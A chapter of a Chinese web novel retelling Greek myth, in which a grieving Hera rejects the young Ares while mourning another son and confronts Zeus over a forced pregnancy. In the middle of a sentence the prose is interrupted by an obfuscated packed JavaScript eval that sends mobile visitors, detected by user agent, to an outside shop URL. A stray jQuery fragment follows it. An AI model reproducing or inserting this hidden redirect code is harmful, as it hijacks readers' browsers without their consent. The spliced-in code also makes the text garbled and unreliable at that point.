日子从指缝里流过去，不冷也不热，不痛也不痒，就那么无声无息地从我身上淌过。
阿瑞斯五岁了。
我听说他长得很快，比同龄的孩子高出半个头。他的神格觉醒得很早，三岁那年就曾在花园里无意识地召出一柄光凝的战矛，把好几个宁芙吓得不轻。他的金发越来越亮，站在阳光下的时候，仿佛一团正在燃烧的东西。
这些都是侍女告诉我的。她们会在给我梳头的时候闲聊，有时候声音压得很低，有时候没压住，飘进我的耳朵里。我不会主动问，但也不会捂住耳朵。
有时候宙斯来，会带一些关于阿瑞斯的消息：“他今天练习的时候又伤到了自己，却像没感觉一样，站起来继续打。”
他说这话的时候，语气里有种近乎得意的骄傲。
我靠在窗边，没有回头。
“像你。”
宙斯沉默了一瞬，他大概没想到我会接话。
“像我们。”他纠正道。
我没有再开口。
阿瑞斯试图来找过我很多次。
我总是听侍女提前来报——“殿下在走廊那头，说想来看看神后。”我放下手里的杯子，有时候点头，有时候摇头。点头的时候他就被领进来，站在门口看着我，小手拉着衣角，站得笔直，如同一棵正在努力扎根的小树。
“母神。”他会叫。
“阿瑞斯。”我应他。
然后我们之间就安静了。
我坐在窗边，他站在门口。我能感觉到他的视线落在我脸上，热切的、犹豫的、期待的。他希望我招手让他过来，希望我弯下腰碰碰他的头发，希望我问他今天做了什么、吃了什么、有没有摔跤……
我知道他在等这些，但我没有去做。我看着他，那张小小的、张扬的脸，和那个人一模一样的轮廓。
“去吧，”我说，“去玩吧。”
他的肩膀塌了一点，不舍地离开这座寝殿。
我明白他下一次还是会来，来的时候还是会用那种眼神看我。
我见过他看别人的样子。他看侍女的时候是随便的，看赫斯提亚的时候是礼貌的，看宙斯的时候是敬畏的。但他看我的时候，永远是那种眼神，那里面有一种他自己可能都没有意识到的东西——
他把我看成了这世界上最重要的人，虽然我从来没有为他做过任何事。
有一个侍女曾私下说：“殿下每次从神后那里出来，都要在走廊里站一会儿。问他怎么了，他也不说，就只是站着，过许久才走。”
我知道了这件事之后，让人把他带进来。
他进来的时候，小跑着，金色的头发在额前微微翘起来，可能是一路跑过来的。他在我面前站定，扬脸看着我，呼吸有点急，嘴角压着藏不住的笑意。
“母神！”
“阿瑞斯，”我说，“今天做了什么？”
他的眼睛一下子亮了。
“我今天去了演武场！赫斯提亚姑姑教我射箭，我射中了十二次靶心，她说我练几年就可以赶上她了！”
“是吗。”
“嗯！”他用力点头，“然后我还去看了廊柱那边的鸽子，有一只白色的落在我肩膀上——”
他说得很急，像要把今天发生的所有事情一口气倒出来给我看。说话的时候，他的手也在动，挥舞着比划。
我看着他。
他那么小，那么烫，那么想要让我知道他今天做了什么、想要我夸他。
可是我想起瑟默冬。
瑟默冬也会这样——跑着回来，站在我面前，仰着脸说“母亲我今天学会了写自己的名字”。他的头发是深色的，被风吹乱了，贴在额头上。他的声音比阿瑞斯细一些，喘气的时候胸腔会微微起伏。
他也是那样看着我的。
我抚了抚阿瑞斯的发顶，他停住话头，整个人都僵了一下，然后他的身体不由自主地朝我的手心蹭了一下。长久以来的渴望得到了回应，他甚至忘了继续说话。
我收回手：“很好，阿瑞斯很厉害。”
他呆在那里，看着我收回的手，又看向我的脸。
“母神，”他说，“你不高兴吗？”
“没有。”
“可是你的眼睛——”
他大概想说“你的眼睛看起来不太高兴”，但他没有说出口。他太小了，还不懂怎么描述那种空荡荡的东西，只是直觉地感受到了什么不对。
“没事，”我安慰他，“你去玩吧。”
他没有如往常一般点头离开，而是站在那里，看了一会儿我的脸，那双琥珀色的眼睛里慢慢涌上来一层我看不懂的东西。
“母神，”他开口，“我是不是哪里做得不好？”
“什么？”
“你看见我的时候，总是不笑。”
“……没有，”我否认，“你没有做得不好。”
“那你为什么不笑？”
我张了张嘴，想说“母神只是有点累”，想说“母神在想别的事情”，想说“和你没关系”。那些话在舌尖上滚了一下，然后被我咽回去了。
因为我不想说谎。
我确实没有笑。
他每一次出现在我面前的时候，我胸腔里那块空了的地方都没有任何反应。他像是从我面前流过的一道光，明亮、刺眼，但流过去了就流过去了，不会在我身上留下什么痕迹。
但我不能说。
“阿瑞斯，你回去好不好？”
他低下头，声音变小了：“好。”
他转身走出去，这次他没有回头。
我后来听侍女提起，他又在走廊里站了一会儿。他就站在门后，背靠着墙，低着头，肩膀微微耸着。
那天晚上，宙斯来了。
他推开门走进来的时候，脸色不太好看。他站在我面前，那双金色的眼睛里有一种我不太想辨认的东西。
“你今天又把他赶走了。”
“我没有赶他，我只是让他回去。”
“他说你在看着他——”宙斯顿了一下，似是在斟酌措辞，“他说你看着他，但你看的不是他。”
我靠在窗台上，没有否认。
宙斯沉默了一会儿，然后走过来，在我面前蹲下，伸手捧住我的脸。
“哥哥，你能不能试着看看他？”
“我看了。”
“你看的不是他。”
我没有说话。
宙斯的手从我脸上滑下来，落在我的肩膀上。
“他看你的样子，和瑟默冬看你的样子一模一样。你想念瑟默冬，所以你躲着阿瑞斯。可你躲他的时候，你连瑟默冬最后看你的那一份也在躲。”
“你连瑟默冬的那份爱都推开了。”
我看着他。
“宙斯，你不配提他的名字。”
他的瞳孔缩了一下，没有还嘴。后来他站起来，走出了寝殿。门关上之后，世界重新安静下来。
我回想瑟默冬最后看我的那一眼——在月光下面，金色的眼睛里带着一点笑，他叫了我最后一声“母亲”。阿瑞斯看我时的眼神，和那个无比相似，那么认真的、全然的，把自己摊开来放在我面前。
我每次看见那个眼神，我都会想起瑟默冬，想起那个我没能留住的孩子。
然后我就会转过去。
可他还是会来。
第二天清晨，我醒来的时候，窗台上放了一朵花。白色的，花瓣上还带着露水，像是刚摘下来不久。
侍女说：“是殿下早上放在那里的。他天没亮就起来了，在花园里选了这朵百合，放在窗台上就走了。”
我伸出手，碰了一下花瓣。露水凉凉的，沾在我的指尖上。
那朵百合在窗台上放了三天，从白变黄，花瓣边缘卷起来。我没有扔掉它，也没有碰它。它就在那儿，一天一天地枯萎，直到最后一片花瓣落下来，被风吹到地上，被侍女扫走了。
第四天早上，窗台上又放了一朵新的，还是白色的，还带着露水。
那天，我让侍女把阿瑞斯带来。
他进来的时候，脚步比上次慢，站在门口时也没有立刻扑过来。他看了我一眼，又看了我一眼，然后才开口叫：“母神。”
“阿瑞斯，”我说，“过来。”
他快步走过来，眉眼上扬。
“花是你放的？”
他点头，有些不好意思地抿了一下嘴：“我不知道你喜欢什么颜色，花园里白色的花最多，所以——”
“我看到了。”
我伸出手，悬在他头顶，停了一息，随后落下去，放在他头发上。他整个人都顿住了，像是怕一动我就会把手拿走。
我摸了两下他的头发，收回手：“阿瑞斯，你下午……留下来，陪我坐一会儿。”
他怔住了，过了好些时间才反应过来：“嗯！”
他爬上我旁边的软榻，和我并肩坐着，小小的身体挨着我的手臂，暖烘烘的。他坐得很规矩，双手放在膝盖上，但脚尖在轻轻地晃——他大概以为自己藏得很好，但我看见了。
窗外的光从金色变成橘色，再从橘色变成灰蓝色。他一直在说话，告诉我演武场的事、花园里新搬来的一窝鸟、他昨天学会的一个新招式……他说得很快，像是怕停下来我就会让他走。
我听着，没有回答太多，但也没有赶他走。他没说完一段就会抬头看我一眼，确认我还在听，才继续说下去。
那天晚上他离开的时候，走到门口又折回来，站在我面前，犹豫了一下，然后张开双臂抱了我一下。他的手臂用力地环着我的腰，似在确认我是真实存在的。
“母神，”他说，“明天我还来。”
我坐在那里，身体是僵的。他的体温透过衣袍传过来，贴在我腰侧的那一小片皮肤上。我想抬手回抱他，但我的手抬到一半，停住了。
他松开我，跑出去了。
我以为，我可以试着接受他。
第二天，他来了。
第三天，他也来了。
第四天，他跑到一半被赫斯提亚叫去训练，傍晚才气喘吁吁地赶过来。我看见他推开门时，金色的头发湿漉漉地贴在前额上。他站在门口喘了几口，对我笑：“母神！我回来了！”
我点了点头。
他爬上软榻，像前几天一样挨着我坐。他开始说今天的事：赫斯提亚教他的新箭术，一只被他的箭吓飞的鸽子，他今天吃饭时被豆子噎了一下……他说着说着，声音低下来，靠在我肩膀上，慢慢睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684552|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着了。
睡着的阿瑞斯，看起来比醒着的时候柔很多。他的睫毛垂着，呼吸平稳，金发黏在我肩头的布料上。他睡得很沉，看来今天真的累坏了。
日子就这样过了几周，阿瑞斯几乎每天都来，有时候待一个时辰，有时候待半个下午。
我开始习惯他来。习惯他推开门时叫的那声“母神”，习惯他爬上软榻时的动作，习惯他那团金发在我视线边缘晃动的样子。
我想，也许我可以。
也许我可以在瑟默冬留下的那个洞里，试着放进一点别的东西。
然后有一天，他带来了一张画。
“母神你看！”他跪在软榻上，把一张羊皮纸展开铺在我面前，“我今天画的是你！”
我看清了那张画。
那上面画着一个人，坐在窗边，金色的窗框，灰色的天空，逆光的侧脸。线条很稚拙，比例不太对，肩膀画得太窄了，头发画得比实际多了好多。
但那确实是我。
我坐在窗边的样子，被一个五岁的孩子认真地一笔一笔画了下来。画的最下方，歪歪扭扭地写着一行字——“我的母神”。
我看着那张画，仿佛看见了别的东西。
瑟默冬也是金色的眼睛。
他坐在山坡上，侧对着我，深色的头发被风吹乱了。他那双鎏金眸看着我，叫我“母亲”。
金色的眼睛。
和我一样。
“母神？”
阿瑞斯的声音从旁边传来。
我抬眼看他，他跪在软榻上，金发在光线里亮得刺眼。
他的身体里流着宙斯的血，他的出生是我被强迫的结果，他喊我“母神”的时候，总是会让我想起——
想起那个我留不住的孩子。
想起瑟默冬最后躺在我怀里，呼吸越来越浅，最后再也没有接上。
——而阿瑞斯活着。
他那么亮，那么健康，那么有力。他一出生就带着战神的神格，他的身体里没有一丝先天不足，他站在阳光下的时候，整座宫殿都被他的光芒填满。
他活着。
瑟默冬死了。
我站起来，动作太快，把阿瑞斯吓了一跳，他眼睛里有一闪而过的惊慌。
“母神？”
“你出去。”
他的表情变了，笑容从他脸上退下去。
“母神——”
“我说你出去。”
我不知道自己的声音是什么样子的，我只看见阿瑞斯的眼眶红了。他看着我，又低头看了一眼那张铺在软榻上的画——他花了很长时间完成的画。
他慢慢把那张画卷起来，手指在发抖。
“母神，”他小声说，“我明天再来——”
“不要来了。”
他握着那张画，停在原地，嘴唇发抖。
“……为什么？”
我没有回答他，转过身，背对着他。
身后的呼吸声远去了，颤抖的、压抑的。
门关上了，我站在窗边。风从窗外吹进来，吹在我脸上。
我闭上眼，终于知道了一件事：我可能永远都做不到接受阿瑞斯。
不是因为他不好，是因为我不好。我已经把所有的母爱都给了瑟默冬，他死后，我身体里那个能当母亲的部分也跟着他一起埋在了那座山上。我让阿瑞斯留下来陪我的时候，我以为我在试着接受他，但我只是在用他填补一个填不满的洞。
之后那张画来了，它把我盖在上面的那层薄土掀开了。
那个洞还在。
瑟默冬还在。
我想着他，看着阿瑞斯，一个已经走了，一个正在活着。而我这个做母亲的，在活着的那个面前，永远都在念着已经走了的那个。
我知道这样对阿瑞斯不公平。
但我知道我改不了。
阿瑞斯不再出现，宙斯却来了。
“他今天哭着问我，是不是他哪里做得不够好。他说他画了一幅画给你，你让他走了，他说你叫他不要再来了。”
“赫拉，他才五岁。”
我木然地坐着。
“我知道。”
“你知道？你知道你做了什么吗？你把他推开，就像你推开我一样。你把他当作那个人来看，可他不是瑟默冬，他是阿瑞斯，是你——”
“他是你强|迫我生的。”
宙斯停住了。
“你强|迫我怀上他，强|迫我生下他，他的出生从来没有经过我的同意。他身上流着你的血，他的脸像你，他的头发像你。他每一次叫我的时候，我都在想——”
“我是不是也在被强|迫着爱他？”
“赫拉——”
“我没力气了宙斯。”
我抬起头，看着他。
“我对阿瑞斯没有爱，这不是他的错，是我的错。我已经把所有的爱都给了瑟默冬，现在你让我拿什么来爱这个孩子？”
宙斯看了我很久，什么也说不出来。
我看着自己的手。
瑟默冬。
阿瑞斯。
两个名字在我心里叠在一起，一个沉得像水，一个烫得像火。
我既抓不住水，也接不住火。